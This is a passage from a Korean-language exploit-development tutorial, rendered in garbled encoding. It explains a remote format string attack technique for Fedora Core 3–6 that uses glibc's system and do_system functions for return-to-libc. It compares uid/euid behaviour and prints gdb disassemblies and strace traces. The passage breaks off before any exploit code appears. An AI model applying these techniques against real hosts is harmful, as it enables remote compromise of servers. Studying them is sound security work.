----------------------------------------------------------------------------------------------------------- Á¦¸ñ: Fedora Core 3,4,5,6 ³»¿¡¼­ do_system ÇÔ¼ö¸¦ ÀÌ¿ëÇÑ remote format string exploit ¹æ¹ý (Fedora Core 3,4,5,6 based remote format string exploit method) ºÎÁ¦: ¾Æ¸§´Ù¿î system ÇÔ¼ö¿Í ±×ÀÇ »õ·Î¿î ¸ð½À do_system ÇÔ¼ö!! À̵éÀ» ÀÌ¿ëÇÏ¿© remote exploitÀ» Á¶±Ý ´õ ½±°Ô ÇØº¸ÀÚ~ -_-)=b Å×½ºÆ® ȯ°æ: Fedora Core release 3 (Heidelberg) Linux 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 Fedora Core release 4 (Stentz) Linux 2.6.11-1.1369_FC4smp #1 SMP Thu Jun 2 23:08:39 EDT 2005 Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 ÀÛ¼ºÀÚ: À¯µ¿ÈÆ - Xpl017Elz http://x82.inetcop.org ----------------------------------------------------------------------------------------------------------- * Overview setuid ȯ°æÀÌ Àû¿ëµÈ ÈÄ, system ÇÔ¼ö¿¡ ÀÇÇÑ ±ÇÇÑ »ó½Â exploitÀÌ ´ë´Ù¼ö ÁÙ¾îµç °ÍÀº »ç½ÇÀÌ´Ù. ƯÈ÷ RTL (return to library) exploit¿¡¼­´Â ¸Å¿ì ±×·¸°Ô µÇ¾ú´Ù. ±× ÀÌÀ¯´Â local ±ÇÇÑ »ó½ÂÀ» À§ÇØ ÇØ´ç euid ±ÇÇѸ¸À¸·Î shellÀ» ½ÇÇà½Ãų °æ¿ì, uid°¡ º¯°æµÇÁö ¾ÊÀº ä·Î shellÀÌ ½ÇÇàµÇ±â ¶§¹®¿¡ ÇØ´ç ±ÇÇÑ È¹µæ¿¡ ÀüÇô ¼Ò¿ë¾ø±â ¶§¹®ÀÌ´Ù. system ÇÔ¼ö¸¦ ½ÇÇà Àü¿¡ setxxid °è¿­ ÇÔ¼ö°¡ ½ÇÇàµÇ¸é °¡´ÉÇÏÁö¸¸, fedora ȯ°æÀº ÇÔ¼öÀÇ ÁÖ¼Ò ¾È¿¡ NULL(0x00)ÀÌ ºÙ±â ¶§¹®¿¡ »ç½Ç»ó ´Ü ÇѹøÀÇ È£Ãâ ¹Û¿¡ ½ÇÇàÇÒ ¼ö ¾ø´Ù. ±×·¡¼­, setxxid ÇÔ¼ö¸¦ system ÇÔ¼ö ¾Õ¿¡ ½ÇÇàÇÒ ¼ö ¾ø°Ô µÇ¾ú°í, °á°úÀûÀ¸·Î system ÇÔ¼öº¸´Ü exec* °è¿­ ÇÔ¼ö°¡ °¢±¤ ¹Þ°Ô µÇ¾ú´Ù. ÀÌ¿Í °°ÀÌ system ÇÔ¼ö ¼öÇà ½Ã, ÇÔ¼ö È£Ãâ ÀÌÀü¿¡ setxxid °ü·Ã ÇÔ¼ö¸¦ ½ÇÇà½ÃÄÑ ÁÖÁö ¾ÊÀ¸¸é, euid, uid°¡ ÀüºÎ ½ÇÇàÇÏ´Â »ç¿ëÀÚÀÇ ±ÇÇÑÀ¸·Î ½ÇÇàµÇ´Âµ¥, ´ÙÀ½°ú °°ÀÌ exec* °è¿­ ÇÔ¼ö¿ÍÀÇ Â÷ÀÌÁ¡À» Á¤¸®Çغ¸¾Ò´Ù. * system ÇÔ¼ö È£Ãâ°ú exec* °è¿­ ÇÔ¼ö È£ÃâÀÇ uid, euid Â÷ÀÌÁ¡ -- ½ÇÇà Àü id: 500 perm: 4755 setuid: 0 ½ÇÇà ÈÄ id: 0 ³»ºÎ system ½ÇÇà ÈÄ uid, euid: 500 -- ÀÌ·± ½ÄÀÌ µÈ´Ù. exec* °è¿­Àº ÀÌ¿Í ´Ù¸£°Ô ¼öÇà ½Ã, setxxid °ü·Ã ÇÔ¼ö ½ÇÇà ¾øÀ̵µ, euid¿¡°Ô setuid ÇÁ·Î±×·¥ ½ÇÇà ±ÇÇÑÀ» ±×´ë·Î ¹°·ÁÁØ´Ù. -- ½ÇÇà Àü id: 500 perm: 4755 setuid: 0 ½ÇÇà ÈÄ id: 0 ³»ºÎ execl ½ÇÇà ÈÄ, uid: 500, euid: 0 -- execl¿¡ ÀÇÇØ ½ÇÇàµÇ´Â ÇÁ·Î±×·¥ ³»ºÎ¿¡ setreuid(0,0); ¸¦ È£ÃâÇØÁÖ¸é, uid ±ÇÇѵµ 0À¸·Î ¸¸µé ¼ö ÀÖ´Ù. È®½ÇÈ÷ local ±ÇÇÑ »ó½Â ½Ã, system ÇÔ¼ö´Â execl ÇÔ¼öº¸´Ù ºÒ¸®ÇÏ´Ù. ±×·¡¼­ ´ëºÎºÐÀÇ local ±ÇÇÑ È¹µæÀº execl¸¦ ÀÌ¿ëÇÏ´Â °ÍÀÌ À¯¸®ÇÏ´Ù°í º¼ ¼ö ÀÖ°Ú´Ù. * system ÇÔ¼ö¶ó ¹«½ÃÇÏÁö ¸»¶ó! ±×·¯³ª, remoteÀÇ °æ¿ì´Â ´Ù¸£´Ù. ¿ø°Ý °ø°ÝÀÇ °æ¿ì, RTLÀ» ÅëÇØ shellÀ» ¶ç¿ì±â ¶§¹®¿¡ ¸í·É ½ÇÇà ÇÔ¼öÀÇ °¢ ÀÎÀÚ °ªÀ» Âï¾î¾ß ÇÏ´Â ¾öû³­ ³ë°¡´Ù¸¦ °ÅÃÄ¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î exec* °è¿­ ÇÔ¼ö¸¦ ¼öÇàÇϱâ À§Çؼ­´Â ÀÎÀÚ°¡ ÃÑ 3°³ µé¾î°£´Ù. ±×·¯³ª system ÇÔ¼ö´Â ´Ü ÇϳªÀÇ ÀÎÀÚ¸¸ µé¾î°£´Ù. À̰ÍÀÌ remote¿¡¼­ °ø°Ý ½Ã, system ÇÔ¼öÀÇ À¯¸®ÇÔÀÌ´Ù. ¶ÇÇÑ, remote °ø°Ý ½Ã, setxxid ÇÔ¼ö ¼öÇàÀ» °ÆÁ¤ÇÒ Çʿ䰡 ¾ø´Ù. ±× ÀÌÀ¯´Â µ¥¸óÀÇ ½ÇÇà ±ÇÇÑÀ» ±×´ë·Î ¹°·Á¹Þ±â ¶§¹®ÀÌ´Ù. À̰ÍÀÌ exec* °è¿­ ÇÔ¼öº¸´Ù system ÇÔ¼ö°¡ remote °ø°Ý¿¡ ´õ À¯¸®ÇÑ ÀÌÀ¯ÀÌ´Ù. (È®½ÇÈ÷ format string exploitÀÌ ¾Æ´Ñ buffer overflow exploit¿¡¼­´Â exec* °ø°Ý º¸´Ù, system °ø°ÝÀÌ ¿ùµîÈ÷ À¯¸®ÇÏ´Ù) ¿¹Àü ½Ã½ºÅÛ¿¡¼­ system ÇÔ¼ö¸¦ ºÐ¼® ÈÄ, ÃÖ±Ù fedora core 3 systemÀÇ system ÇÔ¼ö¸¦ °£´ÜÈ÷ ºÐ¼®Çغ¸°Ú´Ù. system ÇÔ¼ö ºÐ¼®: ¿ì¼±, system ÇÔ¼ö´Â ÀÎÀÚ °ªÀ» ÇÑ °³¸¸ ¹Þ´Â´Ù. -- int main() { system("ps"); } -- disassemble °á°ú: -- (gdb) disas main Dump of assembler code for function main: 0x80483c8
: push %ebp 0x80483c9 : mov %esp,%ebp 0x80483cb : push $0x8048430 ; ½ºÅÿ¡ ÀúÀå 0x80483d0 : call 0x80482e8 ; system ÇÔ¼ö ½ÇÇà 0x80483d5 : add $0x4,%esp 0x80483d8 : leave 0x80483d9 : ret 0x80483da : nop 0x80483db : nop 0x80483dc : nop 0x80483dd : nop 0x80483de : nop 0x80483df : nop End of assembler dump. (gdb) -- ´ÙÀ½°ú °°ÀÌ ½ÇÇà ÈÄ, stack¿¡ ÀúÀåÇÏ´Â °ªÀÌ ¹«¾ùÀÎÁö »ìÆì º¸¾Ò´õ´Ï system ÇÔ¼öÀÇ ÀÎÀÚÀÌ´Ù. ÀúÀå ÈÄ, ¾î´À °÷¿¡ À§Ä¡Çϴ°¡? -- (gdb) br main Breakpoint 1 at 0x80483cb (gdb) r Starting program: /tmp/s Breakpoint 1, 0x80483cb in main () (gdb) x 0x8048430 0x8048430 <_IO_stdin_used+4>: 0x00007370 (gdb) x/s 0x8048430 0x8048430 <_IO_stdin_used+4>: "ps" (gdb) br system Breakpoint 2 at 0x40058178: file ../sysdeps/posix/system.c, line 38. (gdb) c Continuing. Breakpoint 2, __libc_system (line=0x8048430 "ps") at ../sysdeps/posix/system.c:46 46 ../sysdeps/posix/system.c: ±×·± ÆÄÀÏÀ̳ª µð·ºÅ丮°¡ ¾øÀ½. (gdb) x/x $ebp+8 0xbffffbe4: 0x08048430 (gdb) -- Àß »ìÆìº¸¸é, push ¸í·É ÈÄ, system ÇÔ¼ö·Î È£ÃâÀÌ ³Ñ¾î°¬À»¶§, $ebp + 8 À§Ä¡¿¡ system ÇÔ¼öÀÇ ÀÎÀÚ°¡ ÀÚ¸® ÀâÈ÷´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ÀÚ, ÀÌÂëÀ̸é ÀÎÀÚ¸¦ ¾î¶»°Ô ºÒ·¯¼­ ¾²´ÂÁö ´ëÃæ °¨À» ÀâÀ» ¼ö ÀÖ´Ù. system ÇÔ¼ö ³»ºÎ¸¦ »ìÆìº¸¸é, À§ÀÇ ¸í·ÉÀ» ºÒ·¯ ¾²±â À§ÇØ, 0x8(%ebp) Äڵ带 ¾µ °ÍÀ̶õ °É ¾Ë ¼ö ÀÖ´Ù. -- (gdb) disass system Dump of assembler code for function __libc_system: 0x40058160 <__libc_system>: push %ebp 0x40058161 <__libc_system+1>: mov %esp,%ebp 0x40058163 <__libc_system+3>: sub $0x2c4,%esp 0x40058169 <__libc_system+9>: push %edi 0x4005816a <__libc_system+10>: push %esi 0x4005816b <__libc_system+11>: push %ebx 0x4005816c <__libc_system+12>: call 0x40058171 <__libc_system+17> 0x40058171 <__libc_system+17>: pop %ebx 0x40058172 <__libc_system+18>: add $0xae31b,%ebx 0x40058178 <__libc_system+24>: cmpl $0x0,0x8(%ebp) ; ÇØ´ç °ªÀÌ NULLÀÎÁö ºñ±³ 0x4005817c <__libc_system+28>: jne 0x40058188 <__libc_system+40> ; NULLÀÌ ¾Æ´Ò °æ¿ì 0x4005817e <__libc_system+30>: mov $0x1,%eax 0x40058183 <__libc_system+35>: jmp 0x400583b4 <__libc_system+596> ; NULLÀÏ °æ¿ì return 1 0x40058188 <__libc_system+40>: movl $0x1,0xffffff74(%ebp) 0x40058192 <__libc_system+50>: movl $0x0,0xfffffff8(%ebp) 0x40058199 <__libc_system+57>: mov $0x1f,%edx 0x4005819e <__libc_system+62>: lea 0xfffffff4(%ebp),%eax 0x400581a1 <__libc_system+65>: movl $0x0,(%eax) 0x400581a7 <__libc_system+71>: add $0xfffffffc,%eax 0x400581aa <__libc_system+74>: dec %edx 0x400581ab <__libc_system+75>: jns 0x400581a1 <__libc_system+65> 0x400581ad <__libc_system+77>: lea 0xfffffee8(%ebp),%ecx 0x400581b3 <__libc_system+83>: mov %ecx,0xfffffd44(%ebp) 0x400581b9 <__libc_system+89>: push %ecx 0x400581ba <__libc_system+90>: lea 0xffffff74(%ebp),%esi 0x400581c0 <__libc_system+96>: push %esi 0x400581c1 <__libc_system+97>: push $0x2 0x400581c3 <__libc_system+99>: call 0x4002f9ec <_dl_pagesize+119616> 0x400581c8 <__libc_system+104>: add $0xc,%esp 0x400581cb <__libc_system+107>: test %eax,%eax 0x400581cd <__libc_system+109>: jl 0x4005839f <__libc_system+575> 0x400581d3 <__libc_system+115>: lea 0xfffffe5c(%ebp),%eax 0x400581d9 <__libc_system+121>: push %eax 0x400581da <__libc_system+122>: push %esi 0x400581db <__libc_system+123>: push $0x3 0x400581dd <__libc_system+125>: call 0x4002f9ec <_dl_pagesize+119616> 0x400581e2 <__libc_system+130>: add $0xc,%esp 0x400581e5 <__libc_system+133>: test %eax,%eax 0x400581e7 <__libc_system+135>: jge 0x40058210 <__libc_system+176> 0x400581e9 <__libc_system+137>: call 0x4002fa4c <_dl_pagesize+119712> 0x400581ee <__libc_system+142>: mov %eax,%esi 0x400581f0 <__libc_system+144>: mov (%esi),%edi 0x400581f2 <__libc_system+146>: push $0x0 0x400581f4 <__libc_system+148>: mov 0xfffffd44(%ebp),%ecx 0x400581fa <__libc_system+154>: push %ecx 0x400581fb <__libc_system+155>: push $0x2 0x400581fd <__libc_system+157>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058202 <__libc_system+162>: mov %edi,(%esi) 0x40058204 <__libc_system+164>: mov $0xffffffff,%eax 0x40058209 <__libc_system+169>: jmp 0x400583b4 <__libc_system+596> 0x4005820e <__libc_system+174>: mov %esi,%esi 0x40058210 <__libc_system+176>: mov $0x1f,%edx 0x40058215 <__libc_system+181>: lea 0xfffffe58(%ebp),%eax 0x4005821b <__libc_system+187>: nop 0x4005821c <__libc_system+188>: lea 0x0(%esi,1),%esi 0x40058220 <__libc_system+192>: movl $0x0,(%eax) 0x40058226 <__libc_system+198>: add $0xfffffffc,%eax 0x40058229 <__libc_system+201>: dec %edx 0x4005822a <__libc_system+202>: jns 0x40058220 <__libc_system+192> 0x4005822c <__libc_system+204>: orb $0x1,0xfffffdde(%ebp) 0x40058233 <__libc_system+211>: call 0x4002fa4c <_dl_pagesize+119712> 0x40058238 <__libc_system+216>: mov %eax,%esi 0x4005823a <__libc_system+218>: mov (%esi),%edi 0x4005823c <__libc_system+220>: lea 0xfffffd5c(%ebp),%eax 0x40058242 <__libc_system+226>: push %eax 0x40058243 <__libc_system+227>: lea 0xfffffddc(%ebp),%eax 0x40058249 <__libc_system+233>: push %eax 0x4005824a <__libc_system+234>: push $0x0 0x4005824c <__libc_system+236>: call 0x40036410 <__sigprocmask> 0x40058251 <__libc_system+241>: add $0xc,%esp 0x40058254 <__libc_system+244>: test %eax,%eax 0x40058256 <__libc_system+246>: jge 0x40058292 <__libc_system+306> 0x40058258 <__libc_system+248>: mov (%esi),%eax 0x4005825a <__libc_system+250>: cmp $0x26,%eax 0x4005825d <__libc_system+253>: je 0x40058290 <__libc_system+304> 0x4005825f <__libc_system+255>: mov %eax,%edi 0x40058261 <__libc_system+257>: push $0x0 0x40058263 <__libc_system+259>: lea 0xfffffee8(%ebp),%eax 0x40058269 <__libc_system+265>: push %eax 0x4005826a <__libc_system+266>: push $0x2 0x4005826c <__libc_system+268>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058271 <__libc_system+273>: push $0x0 0x40058273 <__libc_system+275>: lea 0xfffffe5c(%ebp),%eax 0x40058279 <__libc_system+281>: push %eax 0x4005827a <__libc_system+282>: push $0x3 0x4005827c <__libc_system+284>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058281 <__libc_system+289>: mov %edi,(%esi) 0x40058283 <__libc_system+291>: mov $0xffffffff,%eax 0x40058288 <__libc_system+296>: jmp 0x400583b4 <__libc_system+596> 0x4005828d <__libc_system+301>: lea 0x0(%esi),%esi 0x40058290 <__libc_system+304>: mov %edi,(%esi) 0x40058292 <__libc_system+306>: call 0x4002f70c <_dl_pagesize+118880> 0x40058297 <__libc_system+311>: mov %eax,%esi 0x40058299 <__libc_system+313>: test %esi,%esi 0x4005829b <__libc_system+315>: jne 0x40058321 <__libc_system+449> 0x400582a1 <__libc_system+321>: lea 0xffff3ee0(%ebx),%eax 0x400582a7 <__libc_system+327>: mov %eax,0xfffffd4c(%ebp) ; "sh -c ¸í·É" ¹öÆÛ¸¦ ±¸¼ºÇÏ´Â ºÎºÐ 0x400582ad <__libc_system+333>: lea 0xffff3ee3(%ebx),%eax 0x400582b3 <__libc_system+339>: mov %eax,0xfffffd50(%ebp) 0x400582b9 <__libc_system+345>: mov 0x8(%ebp),%ecx ; %ecx ·¹Áö½ºÅÍ¿¡ system ¸í·É ÀÎÀÚ°¡ µé¾î°£´Ù. 0x400582bc <__libc_system+348>: mov %ecx,0xfffffd54(%ebp) 0x400582c2 <__libc_system+354>: movl $0x0,0xfffffd58(%ebp) 0x400582cc <__libc_system+364>: push $0x0 0x400582ce <__libc_system+366>: lea 0xfffffee8(%ebp),%eax 0x400582d4 <__libc_system+372>: push %eax 0x400582d5 <__libc_system+373>: push $0x2 0x400582d7 <__libc_system+375>: call 0x4002f9ec <_dl_pagesize+119616> 0x400582dc <__libc_system+380>: push $0x0 0x400582de <__libc_system+382>: lea 0xfffffe5c(%ebp),%eax 0x400582e4 <__libc_system+388>: push %eax 0x400582e5 <__libc_system+389>: push $0x3 0x400582e7 <__libc_system+391>: call 0x4002f9ec <_dl_pagesize+119616> 0x400582ec <__libc_system+396>: push $0x0 0x400582ee <__libc_system+398>: lea 0xfffffd5c(%ebp),%eax 0x400582f4 <__libc_system+404>: push %eax 0x400582f5 <__libc_system+405>: push $0x2 0x400582f7 <__libc_system+407>: call 0x40036410 <__sigprocmask> 0x400582fc <__libc_system+412>: add $0x24,%esp 0x400582ff <__libc_system+415>: mov 0x6f4(%ebx),%eax 0x40058305 <__libc_system+421>: pushl (%eax) 0x40058307 <__libc_system+423>: lea 0xfffffd4c(%ebp),%eax 0x4005830d <__libc_system+429>: push %eax 0x4005830e <__libc_system+430>: lea 0xffff3ee6(%ebx),%eax 0x40058314 <__libc_system+436>: push %eax 0x40058315 <__libc_system+437>: call 0x400a88d8 <__execve> 0x4005831a <__libc_system+442>: push $0x7f 0x4005831c <__libc_system+444>: call 0x4002fb9c <_dl_pagesize+120048> 0x40058321 <__libc_system+449>: test %esi,%esi 0x40058323 <__libc_system+451>: jl 0x4005833b <__libc_system+475> 0x40058325 <__libc_system+453>: push $0x0 0x40058327 <__libc_system+455>: lea 0xfffffd48(%ebp),%eax 0x4005832d <__libc_system+461>: push %eax 0x4005832e <__libc_system+462>: push %esi 0x4005832f <__libc_system+463>: call 0x4002f7ec <_dl_pagesize+119104> 0x40058334 <__libc_system+468>: add $0xc,%esp 0x40058337 <__libc_system+471>: cmp %esi,%eax 0x40058339 <__libc_system+473>: je 0x40058345 <__libc_system+485> 0x4005833b <__libc_system+475>: movl $0xffffffff,0xfffffd48(%ebp) 0x40058345 <__libc_system+485>: call 0x4002fa4c <_dl_pagesize+119712> 0x4005834a <__libc_system+490>: mov %eax,0xfffffd40(%ebp) 0x40058350 <__libc_system+496>: mov (%eax),%edi 0x40058352 <__libc_system+498>: push $0x0 0x40058354 <__libc_system+500>: lea 0xfffffee8(%ebp),%eax 0x4005835a <__libc_system+506>: push %eax 0x4005835b <__libc_system+507>: push $0x2 0x4005835d <__libc_system+509>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058362 <__libc_system+514>: mov %eax,%esi 0x40058364 <__libc_system+516>: push $0x0 0x40058366 <__libc_system+518>: lea 0xfffffe5c(%ebp),%eax 0x4005836c <__libc_system+524>: push %eax 0x4005836d <__libc_system+525>: push $0x3 0x4005836f <__libc_system+527>: call 0x4002f9ec <_dl_pagesize+119616> 0x40058374 <__libc_system+532>: mov %eax,0xfffffd3c(%ebp) 0x4005837a <__libc_system+538>: push $0x0 0x4005837c <__libc_system+540>: lea 0xfffffd5c(%ebp),%eax 0x40058382 <__libc_system+546>: push %eax 0x40058383 <__libc_system+547>: push $0x2 0x40058385 <__libc_system+549>: call 0x40036410 <__sigprocmask> 0x4005838a <__libc_system+554>: or 0xfffffd3c(%ebp),%esi 0x40058390 <__libc_system+560>: or %eax,%esi 0x40058392 <__libc_system+562>: je 0x400583ae <__libc_system+590> 0x40058394 <__libc_system+564>: mov 0xfffffd40(%ebp),%ecx 0x4005839a <__libc_system+570>: cmpl $0x26,(%ecx) 0x4005839d <__libc_system+573>: je 0x400583a6 <__libc_system+582> 0x4005839f <__libc_system+575>: mov $0xffffffff,%eax 0x400583a4 <__libc_system+580>: jmp 0x400583b4 <__libc_system+596> 0x400583a6 <__libc_system+582>: mov 0xfffffd40(%ebp),%ecx 0x400583ac <__libc_system+588>: mov %edi,(%ecx) 0x400583ae <__libc_system+590>: mov 0xfffffd48(%ebp),%eax 0x400583b4 <__libc_system+596>: lea 0xfffffd30(%ebp),%esp 0x400583ba <__libc_system+602>: pop %ebx 0x400583bb <__libc_system+603>: pop %esi 0x400583bc <__libc_system+604>: pop %edi 0x400583bd <__libc_system+605>: leave 0x400583be <__libc_system+606>: ret End of assembler dump. -- system ÇÔ¼ö¸¦ ¿­½ÉÈ÷ µð¹ö±ëÇÏ´Ù°¡ Á¤¸» ¾ÈŸ±î¿î Á¡À» ¹ß°ßÇß´Ù. ³»°¡ ¹«ÁöÇØ¼­ÀÎÁö ¸ð¸£°ÚÁö¸¸.. µµ¹«Áö system ÇÔ¼ö ³»ºÎÀÇ execve ºÎºÐ±îÁö µð¹ö±ëÀ» Çϱ⠾î·Á¿ï °Í °°´Ù. ±× ÀÌÀ¯´Â, system ÇÔ¼ö ³»ºÎ¿¡¼­ ÀÚ½Ä ÇÁ·Î¼¼½º·Î ¸í·ÉÀ» ½ÇÇàÇϱ⠶§¹®Àε¥, fork µÇ´Â ÇÁ·Î¼¼½º¸¦ attach ÇØ¼­ Á¶»çÇÒ ¹æ¹ýÀ» ãÀ» ±æÀÌ ¾ø´Ù. ´ëÃæ µé¾î°¡´Â ÀÎÀÚ°¡ ¾î´À ·¹Áö½ºÅÍ¿¡¼­ µ¿ÀÛÇÏ´ÂÁö ¾Ë¾ÒÀ¸´Ï ±×°ÍÀ¸·Î ¸¸Á·ÇØ¾ß ÇÒ °Í °°´Ù. ½ÇÇàµÇ´Â ÇÁ·Î¼¼½º ±¸Á¶´Â ´ÙÀ½°ú °°´Ù. -- # strace ./s execve("./s", ["./s"], [/* 21 vars */]) = 0 brk(0) = 0x804952c open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=20282, ...}) = 0 mmap(0, 20282, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0755, st_size=4118299, ...}) = 0 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\250\202"..., 4096) = 4096 mmap(0, 993500, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000 mprotect(0x40103000, 30940, PROT_NONE) = 0 mmap(0x40103000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xea000) = 0x40103000 mmap(0x40107000, 14556, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40107000 close(3) = 0 mprotect(0x40018000, 962560, PROT_READ|PROT_WRITE) = 0 mprotect(0x40018000, 962560, PROT_READ|PROT_EXEC) = 0 munmap(0x40013000, 20282) = 0 personality(0 /* PER_??? */) = 0 getpid() = 10691 <========== ÇöÀç pid brk(0) = 0x804952c brk(0x80496cc) = 0x80496cc brk(0x804a000) = 0x804a000 rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 vfork() = 10692 <========== ÇÁ·Î¼¼½º fork µÇ´Â ºÎºÐ wait4(10692, PID TTY TIME CMD 9622 pts/1 00:00:00 login 9646 pts/1 00:00:00 su 9647 pts/1 00:00:00 bash 10690 pts/1 00:00:00 strace 10691 pts/1 00:00:00 s 10692 pts/1 00:00:00 ps [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 10692 <==== wait ºÎºÐ rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 --- SIGCHLD (ÀÚ½ÄÀÌ Á¾·áµÊ) --- _exit(0) = ? -- Àß »ìÆìº¸¸é, fork ÇÁ·Î¼¼½º »ý¼º ÈÄ, execve ½ÇÇà -> wait ÇÔ¼ö¸¦ ÅëÇØ ÀÚ½ÄÀÌ Á¾·áµÉ ¶§±îÁö ´ë±â ÈÄ, Á¾·áµÇ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ¾î¤žµç À§¿Í °°Àº ÀÌÀ¯ ¶§¹®¿¡ execve ºÎºÐÀº µð¹ö±ë ÇÒ ¼ö ¾ø¾ú´Ù. ±×·³, À̹ø¿£ fedora core 3ÀÇ system ÇÔ¼ö¸¦ ºÐ¼®Çغ¸µµ·Ï ÇϰڴÙ. ¹æ±Ý ºÐ¼®Çß´ø ÀÌÀü system ÇÔ¼ö¿Í ¸¹Àº Á¡ÀÌ ´Þ¶óÁ³´Âµ¥ system ÇÔ¼ö ³»ºÎ¿¡¼­ do_system ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù´Â Á¡ÀÌ´Ù. ƯÈ÷ ÀÌ ÇÔ¼ö´Â ÀÎÀÚ¸¦ %eax ·¹Áö½ºÅÍ¿¡ ´ã´Â °ÍÀÌ Æ¯Â¡ÀÌ´Ù. -- (gdb) disass system Dump of assembler code for function system: 0x0077d7c0 : push %ebp 0x0077d7c1 : mov %esp,%ebp 0x0077d7c3 : sub $0xc,%esp 0x0077d7c6 : mov %ebx,(%esp) 0x0077d7c9 : mov %esi,0x4(%esp) 0x0077d7cd : mov %edi,0x8(%esp) 0x0077d7d1 : mov 0x8(%ebp),%esi <==== %ebp+8ÀÇ °ªÀ» %esi ·¹Áö½ºÅÍ¿¡ ³ÖÀ½. 0x0077d7d4 : call 0x75dc71 <__i686.get_pc_thunk.bx> 0x0077d7d9 : add $0xee81b,%ebx 0x0077d7df : test %esi,%esi 0x0077d7e1 : je 0x77d803 0x0077d7e3 : mov %gs:0xc,%edx 0x0077d7ea : test %edx,%edx 0x0077d7ec : jne 0x77d825 0x0077d7ee : mov %esi,%eax <======== %esi ·¹Áö½ºÅ͸¦ %eax¿¡ ³ÖÀ½. 0x0077d7f0 : mov (%esp),%ebx 0x0077d7f3 : mov 0x4(%esp),%esi 0x0077d7f7 : mov 0x8(%esp),%edi 0x0077d7fb : mov %ebp,%esp 0x0077d7fd : pop %ebp 0x0077d7fe : jmp 0x77d320 <==== do_system È£Ãâ 0x0077d803 : lea 0xffff4617(%ebx),%eax 0x0077d809 : call 0x77d320 0x0077d80e : test %eax,%eax 0x0077d810 : sete %al 0x0077d813 : movzbl %al,%eax 0x0077d816 : mov (%esp),%ebx 0x0077d819 : mov 0x4(%esp),%esi 0x0077d81d : mov 0x8(%esp),%edi 0x0077d821 : mov %ebp,%esp 0x0077d823 : pop %ebp 0x0077d824 : ret 0x0077d825 : call 0x81aeb0 <__libc_enable_asynccancel> 0x0077d82a : mov %eax,%edi 0x0077d82c : mov %esi,%eax 0x0077d82e : call 0x77d320 0x0077d833 : mov %eax,%esi 0x0077d835 : mov %edi,%eax 0x0077d837 : call 0x81af30 <__libc_disable_asynccancel> 0x0077d83c : mov %esi,%eax 0x0077d83e : jmp 0x77d816 End of assembler dump. (gdb) -- fedora core3ÀÇ system ÇÔ¼ö Ư¡Àº %ebp + 8¿¡ À§Ä¡ÇÑ ¸í·É Äڵ带 %esi¿¡ ³ÖÀº ÈÄ, ´Ù½Ã %eax·Î º¹»çÇÏ¿© do_systemÀÇ ÀÎÀÚ·Î µé¾î°¡°Ô µÈ´Ù. %eax°¡ ¾î¶»°Ô Ȱ¿ëµÇ´ÂÁö do_systemÀ» °£´ÜÈ÷ ÈȾ°Ú´Ù. -- (gdb) disass do_system Dump of assembler code for function do_system: 0x0077d320 : push %ebp 0x0077d321 : mov $0x1,%edx 0x0077d326 : mov %esp,%ebp 0x0077d328 : push %edi 0x0077d329 : push %esi 0x0077d32a : lea 0xffffff68(%ebp),%esi 0x0077d330 : push %ebx 0x0077d331 : sub $0x154,%esp 0x0077d337 : call 0x75dc71 <__i686.get_pc_thunk.bx> 0x0077d33c : add $0xeecb8,%ebx 0x0077d342 : mov %eax,0xfffffeb8(%ebp) <========== %ebp - 328¿¡ º¹»ç. 0x0077d348 : mov $0x1f,%eax 0x0077d34d : mov %edx,0xffffff64(%ebp) 0x0077d353 : movl $0x0,0xffffffe8(%ebp) 0x0077d35a : lea 0x0(%esi),%esi 0x0077d360 : movl $0x0,(%esi,%eax,4) 0x0077d367 : dec %eax 0x0077d368 : jns 0x77d360 0x0077d36a : xor %eax,%eax 0x0077d36c : mov $0x1,%ecx 0x0077d371 : cmpl $0x0,%gs:0xc 0x0077d379 : je,pt 0x77d37d 0x0077d37c : lock cmpxchg %ecx,0x16bc(%ebx) 0x0077d384 : jne 0x77d929 <_L_mutex_lock_46> 0x0077d38a : mov 0x16b8(%ebx),%eax 0x0077d390 : inc %eax 0x0077d391 : mov %eax,0x16b8(%ebx) 0x0077d397 : dec %eax 0x0077d398 : je 0x77d576 0x0077d39e : cmpl $0x0,%gs:0xc 0x0077d3a6 : je,pt 0x77d3aa 0x0077d3a9 : lock subl $0x1,0x16bc(%ebx) 0x0077d3b1 : jne 0x77d939 <_L_mutex_unlock_59> 0x0077d3b7 : orl $0x10000,0xffffff68(%ebp) 0x0077d3c1 : lea 0xfffffee4(%ebp),%ecx 0x0077d3c7 : xor %edi,%edi 0x0077d3c9 : mov %ecx,0xfffffeb0(%ebp) 0x0077d3cf : mov %ecx,0x8(%esp) 0x0077d3d3 : mov %esi,0x4(%esp) 0x0077d3d7 : movl $0x0,(%esp) 0x0077d3de : call 0x770d30 